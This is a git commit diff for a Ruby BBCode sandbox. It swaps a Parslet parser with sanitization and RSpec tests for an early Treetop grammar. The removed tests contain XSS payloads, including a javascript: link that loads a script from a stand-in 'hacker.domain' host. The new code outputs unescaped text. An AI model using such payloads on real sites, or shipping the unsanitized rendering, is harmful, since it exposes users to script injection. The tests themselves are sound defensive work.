ehhhhh treetop isn't my favorite right now

.gitignore

@@ -1,2 +1,3 @@
-bin
+Gemfile.lock
 .bundle
+

.rspec

@@ -1,4 +0,0 @@
---tty
---color
---format documentation
---require spec_helper

Gemfile

@@ -5,8 +5,3 @@ gem "thin"
 gem "slim"
 gem "bb-ruby"
 gem "ruby-bbcode"
-gem "rspec", "~> 3.0"
-gem "parslet"
-gem "guard"
-gem "guard-rspec"
-gem "sanitize"

Gemfile.lock

@@ -1,110 +0,0 @@
-GEM
-  remote: http://rubygems.org/
-  specs:
-    activesupport (4.2.4)
-      i18n (~> 0.7)
-      json (~> 1.7, >= 1.7.7)
-      minitest (~> 5.1)
-      thread_safe (~> 0.3, >= 0.3.4)
-      tzinfo (~> 1.1)
-    bb-ruby (1.1.0)
-    blankslate (3.1.3)
-    celluloid (0.15.2)
-      timers (~> 1.1.0)
-    coderay (1.1.0)
-    crass (1.0.2)
-    daemons (1.2.3)
-    diff-lcs (1.2.5)
-    eventmachine (1.0.8)
-    ffi (1.9.3)
-    formatador (0.2.5)
-    guard (2.6.1)
-      formatador (>= 0.2.4)
-      listen (~> 2.7)
-      lumberjack (~> 1.0)
-      pry (>= 0.9.12)
-      thor (>= 0.18.1)
-    guard-rspec (4.3.1)
-      guard (~> 2.1)
-      rspec (>= 2.14, < 4.0)
-    i18n (0.7.0)
-    json (1.8.3)
-    listen (2.7.9)
-      celluloid (>= 0.15.2)
-      rb-fsevent (>= 0.9.3)
-      rb-inotify (>= 0.9)
-    lumberjack (1.0.9)
-    method_source (0.8.2)
-    mini_portile (0.6.2)
-    minitest (5.8.2)
-    nokogiri (1.6.6.2)
-      mini_portile (~> 0.6.0)
-    nokogumbo (1.4.1)
-      nokogiri
-    parslet (1.7.1)
-      blankslate (>= 2.0, <= 4.0)
-    pry (0.10.0)
-      coderay (~> 1.1.0)
-      method_source (~> 0.8.1)
-      slop (~> 3.4)
-    rack (1.6.4)
-    rack-protection (1.5.3)
-      rack
-    rb-fsevent (0.9.4)
-    rb-inotify (0.9.5)
-      ffi (>= 0.5.0)
-    rspec (3.1.0)
-      rspec-core (~> 3.1.0)
-      rspec-expectations (~> 3.1.0)
-      rspec-mocks (~> 3.1.0)
-    rspec-core (3.1.2)
-      rspec-support (~> 3.1.0)
-    rspec-expectations (3.1.0)
-      diff-lcs (>= 1.2.0, < 2.0)
-      rspec-support (~> 3.1.0)
-    rspec-mocks (3.1.0)
-      rspec-support (~> 3.1.0)
-    rspec-support (3.1.0)
-    ruby-bbcode (2.0.0)
-      activesupport (>= 3.2.3)
-    sanitize (4.0.0)
-      crass (~> 1.0.2)
-      nokogiri (>= 1.4.4)
-      nokogumbo (= 1.4.1)
-    sinatra (1.4.6)
-      rack (~> 1.4)
-      rack-protection (~> 1.4)
-      tilt (>= 1.3, < 3)
-    slim (3.0.6)
-      temple (~> 0.7.3)
-      tilt (>= 1.3.3, < 2.1)
-    slop (3.5.0)
-    temple (0.7.6)
-    thin (1.6.4)
-      daemons (~> 1.0, >= 1.0.9)
-      eventmachine (~> 1.0, >= 1.0.4)
-      rack (~> 1.0)
-    thor (0.19.1)
-    thread_safe (0.3.5)
-    tilt (2.0.1)
-    timers (1.1.0)
-    tzinfo (1.2.2)
-      thread_safe (~> 0.1)
-
-PLATFORMS
-  ruby
-
-DEPENDENCIES
-  bb-ruby
-  guard
-  guard-rspec
-  parslet
-  rspec (~> 3.0)
-  ruby-bbcode
-  sanitize
-  sinatra
-  slim
-  thin
-
-BUNDLED WITH
-   1.10.6

Guardfile

@@ -1,4 +0,0 @@
-guard :rspec, cmd: 'bundle exec rspec' do
-  watch('bristlecode.rb') { "spec" }
-  watch(%r{^spec/.+(_spec\.rb)$}) { "spec" }
-end

bbsandbox.rb

@@ -3,9 +3,9 @@ require 'slim'
 require 'digest/sha1'
 require 'bb-ruby'
 require 'ruby-bbcode'
-require './bristlecode.rb'
+require './bristle.rb'
 
-@@engines = ['bb-ruby', 'ruby-bbcode', 'bristle', 'raw']
+@@engines = ['bb-ruby', 'ruby-bbcode', 'raw', 'bristle']
 
 get '/' do
   @posts = list_posts
@@ -37,7 +37,7 @@ def exec_bbcode(engine, body)
   when "ruby-bbcode"
     RubyBBCode.to_html body
   when "bristle"
-    Bristlecode::to_html body
+    Bristle.parse body
   when "raw"
     body
   else

bristle.rb

@@ -0,0 +1,18 @@
+require 'sanitize'
+require 'treetop'
+
+base_path = File.expand_path(File.dirname(__FILE__))
+require File.join(base_path, 'bristlecode_nodes.rb')
+
+class Bristle
+  Treetop.load(File.join(File.expand_path(File.dirname(__FILE__)), 'bristlecode_parser.treetop'))
+  @@parser = BristlecodeParser.new
+
+  def self.parse(doc)
+    tree = @@parser.parse(doc)
+    if tree.nil?
+      raise Exception, "Bristlecode parse error at offset: #{@@parser.index}"
+    end
+    tree
+  end
+end

bristlecode.rb

@@ -1,370 +0,0 @@
-require 'parslet'
-require 'sanitize'
-require 'uri'
-
-module Bristlecode
-
-  class YoutubeFilter
-    def call(env)
-      node = env[:node]
-      node_name = env[:node_name]
-      return if env[:is_whitelisted] || !node.element?
-      return unless node_name == 'iframe'
-      return unless node['src'] =~ %r|\A(?:https?:)?//(?:www\.)?youtube(?:-nocookie)?\.com/|
-      Sanitize.node!(node, {
-        :elements => %w[iframe],
-        :attributes => {'iframe'  => %w[allowfullscreen frameborder height src width]}
-      })
-      {:node_whitelist => [node]}
-    end
-  end
-
-  class TweetFilter
-    def call(env)
-      node = env[:node]
-      node_name = env[:node_name]
-      return if env[:is_whitelisted] || !node.element?
-      case node_name
-      when 'script'
-        return script env
-      when 'blockquote'
-        return blockquote env
-      else
-        return
-      end
-    end
-
-    def script(env)
-      node = env[:node]
-      return unless node['src'] == "//platform.twitter.com/widgets.js"
-      Sanitize.node!(node, {
-        :elements => %w[script],
-        :attributes => {'script'  => %w[aync src charset]}
-      })
-      {:node_whitelist => [node]}
-    end
-
-    def blockquote(env)
-      node = env[:node]
-      Sanitize.node!(node, {
-        :elements => %w[blockquote a],
-        :attributes => {'blockquote'  => ['class'], 'a' => ['href']}
-      })
-      {:node_whitelist => [node]}
-    end
-  end
-
-  Config = Sanitize::Config::freeze_config(
-    :elements => %w[b em i strong u a strike br img],
-    :attributes => {
-      'a' => ['href'],
-      'img' => ['src'],
-    },
-    :add_attributes => {
-      'a' => {'rel' => 'nofollow'}
-    },
-    :protocols => {
-      'a' => {'href' => ['http', 'https', :relative]}
-    },
-    :transformers => [YoutubeFilter.new, TweetFilter.new],
-    :remove_contents => ['script']
-  )
-
-  def Bristlecode.to_html(text)
-    begin
-      parser = Bristlecode::Parser.new
-      parse_tree = parser.parse(text)
-      tree = Bristlecode::Transform.new.apply(parse_tree)
-      html = tree.to_html
-    rescue Parslet::ParseFailed => parse_error
-      html = text
-    end
-    Bristlecode.sanitize_html(html)
-  end
-
-  def Bristlecode.sanitize_html(html)
-    Sanitize.fragment(html, Bristlecode::Config)
-  end
-
-  def Bristlecode.clean!(text)
-    text.gsub!('&', '&')
-    text.gsub!('<', '&lt;')
-    text.gsub!('>', '&gt;')
-    text.gsub!('"', '&quot;')
-    text.gsub!("'", '&#x27;')
-    text.gsub!('/', '&#x2F;')
-  end
-
-  class Parser < Parslet::Parser
-    rule(:bold_open) { str('[b]') | str('[B]') }
-    rule(:bold_close) { str('[/b]') | str('[/B]') | eof }
-    rule(:bold) { bold_open >> children.as(:bold) >> bold_close }
-
-    rule(:linebreak) { str('[br]').as(:br) }
-
-    rule(:italic_open) { str('[i]') | str('[I]') }
-    rule(:italic_close) { str('[/i]') | str('[/I]') | eof }
-    rule(:italic) { italic_open >> children.as(:italic) >> italic_close }
-
-    rule(:url_open) { str('[url]') }
-    rule(:url_close) { str('[/url]') | eof }
-    rule(:simple_href) { (url_close.absent? >> any).repeat }
-    rule(:simple_url) { url_open >> simple_href.as(:href) >> url_close }
-    rule(:url_title_open) { str('[url=') }
-    rule(:url_title_href) { (match(']').absent? >> any).repeat(1) }
-    rule(:url_with_title) {
-      url_title_open >>
-      url_title_href.as(:href) >>
-      match(']') >>
-      children.as(:title) >>
-      url_close
-    }
-    rule(:url) { (simple_url | url_with_title).as(:url) }
-
-    rule(:youtube_open) { str('[youtube]') }
-    rule(:youtube_close) { str('[/youtube]') }
-    rule(:youtube_url) { (youtube_close.absent? >> any).repeat(1) }
-    rule(:youtube) { (youtube_open >> youtube_url.as(:src) >> youtube_close).as(:youtube) }
-
-    rule(:tweet_open) { str('[tweet]') }
-    rule(:tweet_close) { str('[/tweet]') }
-    rule(:tweet_url) { (tweet_close.absent? >> any).repeat(1) }
-    rule(:tweet) { (tweet_open >> tweet_url.as(:src) >> tweet_close).as(:tweet) }
-
-    rule(:img_open) { str('[img]') }
-    rule(:img_close) { str('[/img]') }
-    rule(:img_src) { (img_close.absent? >> any).repeat(1) }
-    rule(:img) { (img_open >> img_src.as(:src) >> img_close).as(:img) }
-
-    rule(:eof) { any.absent? }
-    rule(:tag) { bold | italic | url | linebreak | img | youtube | tweet }
-    rule(:elem) { text.as(:text) | tag }
-    rule(:tag_open) { bold_open | italic_open | url_open | url_title_open | img_open |
-      youtube_open | tweet_open }
-    rule(:tag_close) { bold_close | italic_close | url_close | img_close | youtube_close |
-      tweet_close }
-    rule(:tag_delim) { tag_open | tag_close | linebreak }
-
-    rule(:text) { (tag_delim.absent? >> any).repeat(1) }
-    rule(:children) { elem.repeat }
-    rule(:doc) { elem.repeat.as(:doc) }
-    root(:doc)
-  end
-
-  class Transform < Parslet::Transform
-    rule(bold: sequence(:children)) { Bold.new(children) }
-    rule(italic: sequence(:children)) { Italic.new(children) }
-    rule(text: simple(:text)) { Text.new(text) }
-    rule(doc: subtree(:doc)) { Doc.new(doc) }
-    rule(url: subtree(:url)) { Url.new(url) }
-    rule(br: simple(:br)) { Linebreak.new }
-    rule(img: subtree(:img)) { Img.new(img) }
-    rule(youtube: subtree(:youtube)) { Youtube.new(youtube) }
-    rule(tweet: subtree(:tweet)) { Tweet.new(tweet) }
-  end
-
-  class Doc
-    attr_accessor :children
-
-    def initialize(children)
-      self.children = children
-    end
-
-    def to_html
-      s = StringIO.new
-      children.each{|child| s << child.to_html }
-      s.string
-    end
-
-    def to_text
-      s = StringIO.new
-      children.each{|child| s << child.to_text }
-      s.string
-    end
-  end
-
-  class Text
-    attr_accessor :text
-
-    def initialize(text)
-      self.text = text.to_str
-      Bristlecode.clean!(self.text)
-    end
-
-    def to_html
-      text
-    end
-
-    def to_text
-      text
-    end
-  end
-
-  class Bold
-    attr_accessor :children
-
-    def initialize(children)
-      self.children = Doc.new(children)
-    end
-
-    def to_html
-      "<b>#{children.to_html}</b>"
-    end
-
-    def to_text
-      "[b]#{children.to_text}[/b]"
-    end
-  end
-
-  class Italic
-    attr_accessor :children
-
-    def initialize(children)
-      self.children = Doc.new(children)
-    end
-
-    def to_html
-      "<i>#{children.to_html}</i>"
-    end
-
-    def to_text
-      "[i]#{children.to_text}[/i]"
-    end
-  end
-
-  class Url
-    attr_accessor :href, :title, :bad_href, :title_supplied
-
-    def initialize(args)
-      self.href = args[:href].to_str.strip
-      if args.has_key? :title
-        self.title_supplied = true
-        self.title = Doc.new(args[:title])
-      else
-        self.title_supplied = false
-        self.title = Text.new(args[:href].to_str.strip)
-      end
-    end
-
-    def href_ok?
-      href =~ /^(\/|https?:\/\/)/
-    end
-
-    def to_html
-      return to_text unless href_ok?
-      "<a href=\"#{href}\">#{title.to_html}</a>"
-    end
-
-    def to_text
-      if title_supplied
-        "[url=#{href}]#{title.to_text}[/url]"
-      else
-        text = "[url]#{href}[/url]"
-        Bristlecode.clean!(text)
-        text
-      end
-    end
-  end
-
-  class Linebreak
-    def to_html
-      "<br>"
-    end
-
-    def to_text
-      "[br]"
-    end
-  end
-
-  class Img
-    attr_accessor :src
-
-    def initialize(img)
-      self.src = img[:src].to_str
-    end
-
-    def src_ok?
-      src =~ /^(\/|https?:\/\/)/
-    end
-
-    def to_html
-      return to_text unless src_ok?
-      "<img src=\"#{src}\">"
-    end
-
-    def to_text
-        text = "[img]#{src}[/img]"
-        Bristlecode.clean!(text)
-        text
-    end
-  end
-
-  class Youtube
-    attr_accessor :raw_url, :video_id
-
-    def initialize(args)
-      self.raw_url = args[:src].to_str.strip
-      self.video_id = parse_url
-    end
-
-    def parse_url
-      begin
-        uri = URI::parse(raw_url)
-        return false unless ['http', 'https'].include? uri.scheme
-        return false unless ['www.youtube.com', 'youtube.com', 'youtu.be'].include? uri.host
-        if uri.host == 'youtu.be'
-          return uri.path[1..-1]
-        else
-          URI::decode_www_form(uri.query).each{|key, value| return value if key == 'v'}
-        end
-      rescue URI::InvalidURIError
-      end
-
-      return false
-    end
-
-    def to_html
-      return to_text unless video_id
-      "<iframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/#{video_id}\" frameborder=\"0\" allowfullscreen></iframe>"
-    end
-
-    def to_text
-      text = "[youtube]#{raw_url}[/youtube]"
-      Bristlecode.clean!(text)
-      text
-    end
-  end
-
-  class Tweet
-    attr_accessor :raw_url, :tweet_url
-
-    def initialize(tweet)
-      self.raw_url = tweet[:src].to_str.strip
-      self.tweet_url = parse_url(self.raw_url)
-    end
-
-    def parse_url(url_in)
-      begin
-        uri = URI::parse(url_in)
-        return false unless ['http', 'https'].include? uri.scheme
-        return false unless uri.host == 'twitter.com'
-        return false unless uri.path =~ /^\/[^\/]+\/status\/\d+/
-        # strip querystring and fragment
-        return "#{uri.scheme}://#{uri.host}#{uri.path}"
-      rescue URI::InvalidURIError
-      end
-      return false
-    end
-
-    def to_html
-      return to_text unless tweet_url
-      "<blockquote class=\"twitter-tweet\"><a href=\"#{tweet_url}\"></a></blockquote><script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>"
-    end
-
-    def to_text
-      text = "[tweet]#{raw_url}[/tweet]"
-      Bristlecode.clean!(text)
-      text
-    end
-  end
-end

bristlecode_nodes.rb

@@ -0,0 +1,56 @@
+module Bristlecode
+  class RootNode < Treetop::Runtime::SyntaxNode
+    def to_html
+      elements.each{|elem| elem.to_html} 
+    end
+  end
+
+  class TextNode < Treetop::Runtime::SyntaxNode
+    def initialize(input, interval, elements)
+      @text = input[interval]
+    end
+
+    def text_value
+      @text
+    end
+
+    def inspect(indent="")
+      s = "#{indent}TextNode:\n"
+      text_value.each_line{|line| s += "#{indent}  #{line}"}
+      s
+    end
+
+    def to_html
+      text_value 
+    end
+  end
+
+  ##############################
+  # bold
+  ##############################
+
+  class BoldNode < Treetop::Runtime::SyntaxNode
+  end
+
+  class BoldOpenNode < Treetop::Runtime::SyntaxNode
+  end
+
+  class BoldCloseNode < Treetop::Runtime::SyntaxNode
+  end
+
+  ##############################
+  # italic
+  ##############################
+
+  class ItalicNode < Treetop::Runtime::SyntaxNode
+  end
+
+  class ItalicOpenNode < Treetop::Runtime::SyntaxNode
+  end
+
+  class ItalicCloseNode < Treetop::Runtime::SyntaxNode
+  end
+
+  class TagNode < Treetop::Runtime::SyntaxNode
+  end
+end

bristlecode_parser.treetop

@@ -0,0 +1,51 @@
+grammar Bristlecode
+  rule root
+    (tag / text)* <RootNode>
+  end
+
+  rule text
+    (!tag .)+ <TextNode>
+  end
+
+  rule tag
+    bold / italic
+  end
+
+  ##############################
+  # bold
+  ##############################
+
+  rule bold
+    bold_open
+    ((!bold_close .)+ <TextNode>)
+    bold_close
+    <BoldNode>
+  end
+
+  rule bold_open
+    '[b]' <BoldOpenNode> / '[B]' <BoldOpenNode>
+  end
+
+  rule bold_close
+    '[/b]' <BoldCloseNode> / '[/B]' <BoldCloseNode>
+  end
+
+  ##############################
+  # italic
+  ##############################
+
+  rule italic
+    italic_open
+    ((!italic_close .)+ <TextNode>)
+    italic_close
+    <ItalicNode>
+  end
+
+  rule italic_open
+    '[i]' <ItalicOpenNode> / '[I]' <ItalicOpenNode>
+  end
+
+  rule italic_close
+    '[/i]' <ItalicCloseNode> / '[/I]' <ItalicCloseNode>
+  end
+end

posts/normal-italic-text

@@ -1 +0,0 @@
-before the italics [i] in the italics [/i] after the italics

spec/bristlecode/parser_spec.rb

@@ -1,299 +0,0 @@
-require 'parslet/rig/rspec'
-require_relative '../../bristlecode.rb'
-
-module Bristlecode
-
-  describe '.to_html' do
-
-    def to_html(text)
-      Bristlecode.to_html(text)
-    end
-
-    def sanitize_html(text)
-      Bristlecode.sanitize_html(text)
-    end
-
-    it 'leaves an empty string unchanged' do
-      expect(to_html("")).to eq("")
-    end
-
-    it 'handles empty documents' do
-      text = "      \t   \n    \n     \t"
-      expect(to_html(text)).to eq(text)
-    end
-
-    it 'handles special chars' do
-      expect(to_html('&')).to eq('&')
-      expect(to_html('>')).to eq('>')
-      expect(to_html('<')).to eq('&lt;')
-    end
-
-    it 'escapes tags' do
-      input = '<script>alert(1)</script>'
-      output = '&lt;script&gt;alert(1)&lt;/script&gt;'
-      expect(to_html(input)).to eq(output)
-    end
-
-    it 'entirely removes unapproved script tags in sanitization' do
-      input = '<script>alert(1)</script>'
-      expect(sanitize_html(input)).to eq('')
-    end
-
-    it 'handles plain text just fine' do
-      expect(to_html("plaintext")).to eq("plaintext")
-    end
-
-    it 'can bold stuff' do
-      expect(to_html("[b]bold[/b]")).to eq("<b>bold</b>")
-    end
-
-    it 'can italic stuff' do
-      expect(to_html("[i]italic[/i]")).to eq("<i>italic</i>")
-    end
-
-    it 'can nest tags' do
-      doc = '[b] bold [i] italic [/i] bold [/b]'
-      expected = '<b> bold <i> italic </i> bold </b>'
-      out = to_html(doc)
-      expect(out).to eq(expected)
-
-      doc = '[i] italic [b] bold [/b] italic [/i]'
-      expected = '<i> italic <b> bold </b> italic </i>'
-      out = to_html(doc)
-      expect(out).to eq(expected)
-    end
-
-    it 'auto-closes tags at eof' do
-      expect(to_html("[b]bold")).to eq("<b>bold</b>")
-      expect(to_html("[i]italic")).to eq("<i>italic</i>")
-    end
-
-    it 'can render simple links' do
-      input = '[url]http://example.com[/url]'
-      output = '<a href="http://example.com" rel="nofollow">http://example.com</a>'
-      expect(to_html(input)).to eq(output)
-    end
-
-    it 'trims whitespace around urls' do
-      input = '[url]    http://example.com    [/url]'
-      output = '<a href="http://example.com" rel="nofollow">http://example.com</a>'
-      expect(to_html(input)).to eq(output)
-    end
-
-    it 'passes simple url contents opaquely' do
-      input = '[url]http://x[b]y[/b]z[/url]'
-      output = '<a href="http://x%5Bb%5Dy%5B/b%5Dz" rel="nofollow">http://x[b]y[/b]z</a>'
-      expect(to_html(input)).to eq(output)
-    end
-
-    it 'handles urls with titles' do
-      input = '[url=http://google.com]the google[/url]'
-      output = '<a href="http://google.com" rel="nofollow">the google</a>'
-      expect(to_html(input)).to eq(output)
-    end
-
-    it 'ignores url tags with bad protocols' do
-      input = '[url=javascript:alert(1)]google.com[/url]'
-      expect(to_html(input)).to eq(input)
-
-      input = '[url=ftp://something.com/filez]google.com[/url]'
-      expect(to_html(input)).to eq(input)
-    end
-
-    it 'allows subtrees in <a> tags' do
-      input = '[url=http://google.com]this is [b]the[/b] google[/url]'
-      output = '<a href="http://google.com" rel="nofollow">this is <b>the</b> google</a>'
-      expect(to_html(input)).to eq(output)
-    end
-
-    it 'rejects bad url protocols' do
-      input = "[url=javascript:t=document.createElement('script');t.src='//hacker.domain/script.js';document.body.appendChild(t);//]test[/url]"
-      expect(to_html(input)).to eq(input)
-
-      input = "[url=ftp://whatever.com/etc]warez[/url]"
-      expect(to_html(input)).to eq(input)
-    end
-
-    it 'renders a linebreak' do
-      expect(to_html('[br]')).to eq('<br>')
-    end
-
-    it 'renders an image' do
-      input = '[img]http://example.com/cat.gif[/img]'
-      expect(to_html(input)).to eq('<img src="http://example.com/cat.gif">')
-    end
-
-    it 'ignores bad image src protocols' do
-      input = '[img]javascript:alert(1)[/img]'
-      expect(to_html(input)).to eq(input)
-
-      input = '[img]ftp://example.com/cat.gif[/img]'
-      expect(to_html(input)).to eq(input)
-    end
-
-    it 'returns the original text on parse failure' do
-      input = '[img]http://example.com/dog.gif[img]http://example.com/cat.gif[/img][/img]'
-      expect(to_html(input)).to eq(input)
-
-      input = '[url][url]x[/url][/url]'
-      expect(to_html(input)).to eq(input)
-    end
-
-    it 'can render a youtube video with a watch link' do
-      input = '[youtube]https://youtube.com/watch?v=uxpDa-c-4Mc[/youtube]'
-      output = '<iframe width="560" height="315" src="https://www.youtube.com/embed/uxpDa-c-4Mc" frameborder="0" allowfullscreen=""></iframe>'
-      expect(to_html(input)).to eq(output)
-
-      input = '[youtube]https://www.youtube.com/watch?v=uxpDa-c-4Mc[/youtube]'
-      output = '<iframe width="560" height="315" src="https://www.youtube.com/embed/uxpDa-c-4Mc" frameborder="0" allowfullscreen=""></iframe>'
-      expect(to_html(input)).to eq(output)
-    end
-
-    it 'can render a youtube video with a share link' do
-      input = '[youtube]https://youtu.be/uxpDa-c-4Mc[/youtube]'
-      output = '<iframe width="560" height="315" src="https://www.youtube.com/embed/uxpDa-c-4Mc" frameborder="0" allowfullscreen=""></iframe>'
-      expect(to_html(input)).to eq(output)
-    end
-
-    it 'refuses bad youtube urls' do
-      input = '[youtube]http://example.com/cats.gif[/youtube]'
-      expect(to_html(input)).to eq(input)
-    end
-
-    it "requires full url for youtube vids" do
-      input = '[youtube]dQw4w9WgXcQ[/youtube]'
-      expect(to_html(input)).to eq(input)
-    end
-
-    it 'can render a tweet' do
-      input = '[tweet]https://twitter.com/jordanorelli/status/662654098156748800[/tweet]'
-      output = '<blockquote class="twitter-tweet"><a href="https://twitter.com/jordanorelli/status/662654098156748800" rel="nofollow"></a></blockquote><script src="//platform.twitter.com/widgets.js" charset="utf-8"></script>'
-      expect(to_html(input)).to eq(output)
-    end
-
-    it 'requres the full url for a tweet' do
-      input = '[tweet]662654098156748800[/tweet]'
-      expect(to_html(input)).to eq(input)
-    end
-  end
-
-  describe Parser do
-    let(:parser) { Parser.new }
-
-    describe '#parse' do
-      it 'can parse an empty string' do
-        expect(parser).to parse('')
-      end
-
-      it 'can parse whitespace' do
-        expect(parser).to parse('      ')
-      end
-
-      it 'can parse plain text' do
-        expect(parser).to parse('this is some plain text')
-      end
-    end
-
-    describe '#bold' do
-      it 'can parse correct bold text syntax' do
-        expect(parser.bold).to parse('[b]bolded contents here[/b]')
-        expect(parser.bold).to parse('[b]bolded contents here[/B]')
-        expect(parser.bold).to parse('[B]bolded contents here[/b]')
-        expect(parser.bold).to parse('[B]bolded contents here[/B]')
-      end
-
-      it 'can parse an empty bold tag' do
-        expect(parser.bold).to parse('[b][/b]')
-      end
-
-      it 'can parse nested tags' do
-        expect(parser.bold).to parse('[b] one [b] two [/b] three [/b]')
-        expect(parser.bold).to parse('[b] one [i] two [/i] three [/b]')
-      end
-
-      it 'can parse an unclosed tag' do
-        expect(parser.bold).to parse('[b]bolded contents here')
-        expect(parser.bold).to parse('[B]bolded contents here')
-      end
-
-      it 'fails non-bold text' do
-        expect(parser.bold).not_to parse('this is not bold')
-      end
-
-      it 'fails dangling close tags' do
-        expect(parser.bold).not_to parse('before [/b] after')
-      end
-
-      it 'fails nonsense tag' do
-        expect(parser.bold).not_to parse('[bold]fake content[/bold]')
-      end
-    end
-
-    describe '#italic' do
-      it 'can parse correct italic text syntax' do
-        expect(parser.italic).to parse('[i]italiced contents here[/i]')
-        expect(parser.italic).to parse('[i]italiced contents here[/I]')
-        expect(parser.italic).to parse('[I]italiced contents here[/i]')
-        expect(parser.italic).to parse('[I]italiced contents here[/I]')
-      end
-
-      it 'can parse an empty italic tag' do
-        expect(parser.italic).to parse('[i][/i]')
-      end
-
-      it 'can parse nested tags' do
-        expect(parser.italic).to parse('[i] one [i] two [/i] three [/i]')
-        expect(parser.italic).to parse('[i] one [b] two [/b] three [/i]')
-      end
-
-      it 'can parse an unclosed tag' do
-        expect(parser.italic).to parse('[i]italiced contents here')
-        expect(parser.italic).to parse('[I]italiced contents here')
-      end
-
-      it 'fails non-italic text' do
-        expect(parser.italic).not_to parse('this is not italic')
-      end
-
-      it 'fails dangling close tags' do
-        expect(parser.italic).not_to parse('before [/i] after')
-      end
-
-      it 'fails nonsense tag' do
-        expect(parser.italic).not_to parse('[italic]fake content[/italic]')
-      end
-    end
-
-    describe '#url' do
-      it 'can parse correct urls' do
-        expect(parser.url).to parse('[url]google.com[/url]')
-        expect(parser.url).to parse('[url=google.com]google[/url]')
-      end
-
-      it 'can parse title subtrees' do
-        expect(parser.url).to parse('[url=google.com]this is [b]google[/b] yo[/url]')
-      end
-
-      it "doesn't die on elements nested in simple urls" do
-        expect(parser.url).to parse('[url]goog[b]le.c[/b]om[/url]')
-      end
-
-      it 'fails nested [url] tags' do
-        expect(parser.url).not_to parse('[url]x[url]y[/url]z[/url]')
-      end
-    end
-
-    describe '#linebreak' do
-      it 'does its thing' do
-        expect(parser.linebreak).to parse('[br]')
-      end
-    end
-
-    describe '#img' do
-      it 'accepts valid image urls' do
-        expect(parser.img).to parse('[img]http://example.com/something.gif[/img]')
-        expect(parser.img).to parse('[img]https://example.com/something.gif[/img]')
-      end
-    end
-  end
-end

spec/spec_helper.rb

@@ -1,9 +0,0 @@
-RSpec.configure do |config|
-  config.expect_with :rspec do |expect|
-    expect.include_chain_clauses_in_custom_matcher_descriptions = true
-  end
-
-  config.mock_with :rspec do |mocks|
-    mocks.verify_partial_doubles = true
-  end
-end